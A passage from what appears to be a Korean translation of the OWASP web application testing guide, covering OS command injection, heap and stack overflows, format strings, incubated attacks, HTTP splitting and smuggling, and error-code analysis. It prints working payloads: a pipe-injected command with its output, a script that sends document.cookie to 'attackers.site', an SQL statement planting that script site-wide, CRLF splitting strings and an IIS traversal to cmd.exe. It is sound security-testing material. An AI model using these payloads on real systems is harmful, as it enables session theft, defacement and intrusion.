Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,-
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E-
34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf

만약 어플리케이션이 요청에 대한 유효성 검사를 하지 않는다면, 다음 결과를 획득할 수 있습니다.

POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E-
34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\

이 경우, 성공적으로 OS 삽입 공격을 수행할 수 있습니다.

Exec Results for ‘cmd.exe /c type "C:\httpd\public\
doc\"Doc=Doc1.pdf+|+Dir c:\’
Output...
Il volume nell’unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
 18/10/2006 00:27 2,675 Dir_Prog.txt
 18/10/2006 00:28 3,887 Dir_ProgFile.txt
 16/11/2006 10:43
 Doc
 11/11/2006 17:25
 Documents and Settings
 25/10/2006 03:11
 I386
 14/11/2006 18:51
 h4ck3r
 30/09/2005 21:40 25,934
 OWASP1.JPG
 03/11/2006 18:29
 Prog
 18/11/2006 11:20
 Program Files
 16/11/2006 21:12
 Software
 24/10/2006 18:25
 Setup
 24/10/2006 23:37
 Technologies
 18/11/2006 11:14
 3 File 32,496 byte
 13 Directory 6,921,269,248 byte disponibili
 Return code: 0

Tools

  • OWASP WebScarab
  • OWASP WebGoat

Remediation

Sanitization

The URL and form data needs to be sanitized for invalid characters. A "blacklist" of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A "white list" containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list. Permissions The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view

OTG-INPVAL-014 (Buffer Overflow 침투 테스트)


테스트 방법

Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.

  • 힙 오버플로우 취약점 테스트
  • 스택 오버플로우 취약점 테스트
  • 포맷 스트링 취약점 테스트
Code Review

See the OWASP Code Review Guide article on how to Review Code for Buffer Overruns and Overflows Vulnerabilities.


Remediation

See the OWASP Development Guide article on how to Avoid Buffer Overflow Vulnerabilities.



힙 오버플로우 취약점 테스트

개요

In this test the penetration tester checks whether a they can make a Heap overflow that exploits a memory segment.

Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information.

When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload. There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows, since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.


테스트 방법


Black Box testing

The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability

The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.

When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious

process, and using fuzzing techniques.


Gray Box testing

When reviewing code, one must realize that there are several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant.

Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:-

int main(int argc, char *argv[])
{
 ……
 vulnerable(argv[1]);
 return 0;
}
int vulnerable(char *buf)
{

 HANDLE hp = HeapCreate(0, 0, 0);

 HLOCAL chunk = HeapAlloc(hp, 0, 260);
 strcpy(chunk, buf); ‘’’ Vulnerability’’’

 ……..
 return 0;
}

In this case, if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.

Lately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):

string = cli_malloc(length + 1); ‘’’ Vulnerability’’’
if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’
free(string);
return -1;
}

The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example, length is user-controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Therefore, this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h). And now, in line 2, a heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte buffer.

Static code analysis tools can also help in locating heap related vulnerabilities such as "double free" etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.


Tools


References

스택 오버플로우 취약점 테스트

개요

Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. In fact almost every platform is vulnerable to stack overflows with the following notable exceptions:

  • J2EE – as long as native methods or system calls are not invoked
  • .NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
  • PHP – as long as external programs and vulnerable PHP

extensions written in C or C++ are not called can suffer from stack overflow issues. Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.


테스트 방법


Black Box testing

The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate malformed input for the application, subject the application to malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered. On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process. As a simple example, consider the following technique employed while testing an executable "sample.exe" for stack overflows:

#include<stdio.h>
int main(int argc, char *argv[])
{
 char buff[20];
 printf("copying into buffer");
 strcpy(buff,argv[1]);
 return 0;
}

File sample.exe is launched in a debugger, in our case OllyDbg.

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

As shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141. This clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.


Gray Box testing

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers. For example consider the following function:-

void log_create(int severity, char *inpt) {
char b[1024];
if (severity == 1)
{
strcat(b,"Error occurred on");
strcat(b,":");
strcat(b,inpt);
FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);
. . . . . .
}

From above, the line strcat(b,inpt) will result in a stack overflow if inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. If the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www. securityfocus.com/archive/1/317615). Vulnerabilities can also appear in URL and address parsing code. In such cases, a function like memccpy() is usually employed which copies data into a destination buffer from source until a specified character is not encountered. Consider the function:

void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,’\’);
….
}

In this case the information contained in path could be greater than 40 bytes before ‘’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer until a ‘’ was encountered. The length of the server name in this case was controllable by users. Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits, like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.


Tools


References

Whitepapers


포맷 스트링 취약점 테스트

개요

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf(). Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc. Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc. The vulnerability arises when format functions are called with inadequate parameters validation and user controlled data. A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line argument argv[1]. This situation tends to become precarious since a user who can supply format specifiers can perform the following malicious actions:

Enumerate Process Stack: This allows an adversary to view stack organization of the vulnerable process by supplying format strings, such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector. Control Execution Flow: This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code. Denial of Service: If the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.


테스트 방법


Black Box testing

The key to testing format string vulnerabilities is supplying format type specifiers in application input. For example, consider an application that processes the URL string http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If a format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost. com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, application servers, or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases, an error reporting or logging function like syslog( ) has been called insecurely. When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like

http://hostname/cgi-bin/query.cgi?name=john&code=45765
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x
&code=45765%x.%x

If a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser. If code is unavailable, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs. Take the instance of code (1) :

int main(int argc, char **argv)
{
printf("The string entered is\n");
printf("%s",argv[1]);
return 0;
}

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.

On the other hand, when the same code is compiled without "%s" as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.


Gray Box testing

While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.


Tools


References

Whitepapers

OTG-INPVAL-015 (Incubated 취약점 침투 테스트)


개요

Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct “watering hole” attacks against users of legitimate web applications. Incubated vulnerabilities have the following characteristics: • The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process. • Secondly, once the attack vector was “recalled” the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form. Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.

In a penetration test, incubated attacks can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: • File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.) • Cross-site scripting issues in public forums posts (see Testing for Stored Cross_site scripting (OTG-INPVAL-002) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user’s browser -using the trust level of the original (vulnerable) site at the user’s browser. • SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., XSS-proxy). • Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)


테스트 방법


Black Box testing

File Upload Example

Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. XSS Example on a Bulletin Board [1] Introduce JavaScript code as the value for the vulnerable field, for instance:

<script>document.write(‘<img src=”http://attackers.site/cv.jpg?’+document.cookie+’”>’)</script>

[2] Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at attackers.site host listening for all incoming connections. [3] When users browse the vulnerable page, a request containing their cookie (document.cookie is included as part of the requested URL) will be sent to the attackers.site host, such as the following:

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

[4] Use cookies obtained to impersonate users at the vulnerable site.


SQL Injection Example

Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 Testing for SQL Injection. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert. [1] In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s suppose there is a footer table at the database with all footers for the web site pages, including a notice field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the notice field at the footer table in the database.

SELECT field1, field2, field3
FROM table_x
WHERE field2 = ‘x’;
UPDATE footer
SET notice = ‘Copyright 1999-2030%20

<script>document.write(\'<img src="http://attackers.site/
cv.jpg?\'+document.cookie+\'">\')</script>'
WHERE notice = 'Copyright 1999-2030';

[2] Now, each user browsing the site will silently send his cookies to the attackers.site (steps b.2 to b.4).

Misconfigured Server

Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means). In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular us ers can then access (most probably with a higher degree of trust than when accessing a different site). As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).


Gray Box testing

Gray/white testing techniques will be the same as previously discussed.

  • Examining input validation is key in mitigating against this

vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a “back door”. - To combat the “back door” issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute. - See the Data Validation section of the Code review guide.


References

Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.

Advisories
Whitepapers

OTG-INPVAL-016 (HTTP Splitting/Smuggling 침투 테스트)


개요

This section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages. This section will analyze two different attacks that target specific HTTP headers:

  • HTTP splitting
  • HTTP smuggling

The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to ‘split’ that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting.

In the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section.


테스트 방법


Black Box testing

HTTP Splitting

Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let’s say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page.

More specifically, if the parameter ‘interface’ has the value ‘advanced’, the application will answer with the following

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
<snip>

When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the ‘interface’ parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, testers will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests.

Let’s say that in the previous example the tester passes the following data as the interface parameter:

advanced%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContent-Length:%20
35%0d%0a%0d%0a<html>Sorry,%20System%20Down</
html>

The resulting answer from the vulnerable application will therefore be the following:

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35
<html>Sorry,%20System%20Down</html>
<other data>

The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache will receive the “system down” message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application).

Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users. Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it.

The headers that are the most likely candidates for this attack are:

- Location
- Set-Cookie

It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:

1. The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with “Pragma: no-cache” in the request headers

2. The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., “<” and “>”). In this case, the tester can try to use other encodings (e.g., UTF-7)

3. Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering

For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.


Gray Box testing

HTTP Splitting

A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET.

HTTP Smuggling

As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.

Application Firewall Bypass

There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/ bid/1806), in which an attacker could break out the www root by issuing a request like:

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/
c+<command_to_execute>

Of course, it is quite easy to spot and filter this attack by the presence of strings like “..” and “cmd.exe” in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:

POST /target.asp HTTP/1.1 <-- Request #1
Host: target
Connection: Keep-Alive
Content-Length: 49225
<CRLF>
<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2
Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0 <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0 <-- Request #4
Connection: Keep-Alive
<CRLF>

What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx). Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until “xxxx: “, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS. While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message. Note that HTTP Smuggling does not exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.


References

Whitepapers
  • Amit Klein, “Divide and Conquer: HTTP Response Splitting,

Web Cache Poisoning Attacks, and Related Topics” - http:// www.packetstormsecurity.org/papers/general/whitepaper_ httpresponse.pdf - Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling” - http://www.watchfire.com/news/ whitepapers.aspx - Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals” - http://www.owasp.org/images/1/1a/ OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc. ppt - Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)” - http://www.securityfocus.com/ archive/1/411418 - Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593 - Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling” - http://www.cgisecurity.com/lib/httprequest-smuggling.pdf

07_에러 처리

OTG-ERR-001 (에러 코드 분석)


개요

웹 어플리케이션에 침투 테스트를 하는 동안, 어플리케이션 또는 웹 서버에서 생성된 많은 에러 코드를 자주 볼 수 있습니다. 이것은 특수하게 조작된 요청 툴 또는 수동 생성 요청을 사용하여 이러한 에러가 표시되도록 하는 것이 가능합니다. 이러한 코드는 웹 웹 어플리케이션과 직접 연결된 데이터베이스, 버그 및 기타 기술 구성 요소에 대한 많은 정보를 공개하기 때문에, 침투 테스터에게 매우 유용한 정보입니다.

이번 섹션에서는 일반 에러 메시지 코드를 분석하고 취약성 평가시 관련된 부분에 초점을 가질 것입니다. 이 활동의 가장 중요한 측면은 분석의 다음 단계에 도움이 되는 정보 수집으로, 이러한 오류에 대한 자신의 관심을 집중하는 것입니다. 좋은 정보 수집은 침투 테스트를 수행하는데 걸리는 총 시간을 감소시킴으로써 평가 효율을 용이하게 할 수 있습니다.

Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)


Web Server Errors

A common error that we can see during testing is the HTTP 404 Not Found. Often this error code provides useful details about the underlying web server and associated components. For example:

Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g  DAV/2
PHP/5.1.2 Server at localhost Port 80

This error message can be generated by requesting a non-existent URL. After the common message that shows a page not found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.

Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation.

Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section Fingerprint Web Server (OTG-INFO-002).


Application Server Errors

Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.


Database Errors

Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details. In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see Testing for SQL Injection (OTG-INPVAL-005) for more information. Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
exist or access denied

What happened? We will explain step-by-step below. In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.

